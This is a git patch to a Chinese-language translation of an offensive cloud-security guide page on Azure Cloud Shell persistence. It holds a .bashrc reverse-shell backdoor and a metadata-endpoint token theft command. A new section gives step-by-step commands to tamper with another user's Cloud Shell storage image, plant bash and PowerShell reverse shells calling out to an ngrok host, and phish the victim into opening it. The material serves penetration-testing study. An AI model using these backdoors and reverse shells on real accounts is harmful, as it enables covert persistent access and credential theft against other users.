From bfecb04398f5326d6fe0ff399eca4911a50fa9c7 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 12 May 2025 19:25:29 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/azure-security/az-persistence/az-cloud --- .../az-cloud-shell-persistence.md | 43 +++++++++++++++++-- 1 file changed, 40 insertions(+), 3 deletions(-) diff --git a/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md b/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md index c8533efa6..915715217 100644 --- a/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md +++ b/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md @@ -6,12 +6,12 @@ Azure Cloud Shell 提供命令行访问以管理 Azure 资源，具有持久存储和自动身份验证。攻击者可以通过在持久主目录中放置后门来利用这一点： -* **持久存储**：Azure Cloud Shell 的主目录挂载在 Azure 文件共享上，即使会话结束后也保持完整。 -* **启动脚本**：像 .bashrc 这样的文件在每个会话开始时自动执行，允许在云 shell 启动时进行持久执行。 +* **Persistent Storage**: Azure Cloud Shell 的主目录挂载在 Azure 文件共享上，即使会话结束后也保持不变。 +* **Startup Scripts**: 像 `.bashrc` 或 `config/PowerShell/Microsoft.PowerShell_profile.ps1` 这样的文件在每个会话开始时自动执行，从而允许在云 shell 启动时进行持久执行。 Example backdoor in .bashrc: ```bash -echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc +echo '(nohup /usr/bin/env /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc ``` 这个后门可以在用户完成云 shell 后的 5 分钟内执行命令。 @@ -19,4 +19,41 @@ echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/ ```bash curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -s ``` +### Cloud Shell Phishing + +如果攻击者在他有读写权限的存储帐户中找到其他用户的镜像，他将能够下载该镜像，**在其中添加一个 bash 和 PS 后门**，并将其上传回存储帐户，以便下次用户访问 shell 时，**命令将被自动执行**。 + +- **下载、后门和上传镜像：** +```bash +# Download image +mkdir /tmp/phishing_img +az storage file download-batch -d /tmp/phishing_img --account-name -s + +# Mount the image +mkdir /tmp/backdoor_img +sudo mount ./.cloudconsole/acc_carlos.img /tmp/backdoor_img +cd /tmp/backdoor_img + +# Create backdoor +mkdir .config +mkdir .config/PowerShell +touch .config/PowerShell/Microsoft.PowerShell_profile.ps1 +chmod 777 .config/PowerShell/Microsoft.PowerShell_profile.ps1 + +# Bash backdoor +echo '(nohup /usr/bin/env /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/${SERVER}/${PORT} 0>&1 &)' >> .bashrc + +# PS backdoor +echo '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19838);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' >> .config/PowerShell/Microsoft.PowerShell_profile.ps1 + +# Unmount +cd /tmp +sudo umount /tmp/backdoor_img + +# Upload image +az storage file upload --account-name --path ".cloudconsole/acc_username.img" --source "./tmp/phishing_img/.cloudconsole/acc_username.img" -s +``` +- **然后，钓鱼用户以访问 https://shell.azure.com/** + + {{#include ../../../banners/hacktricks-training.md}}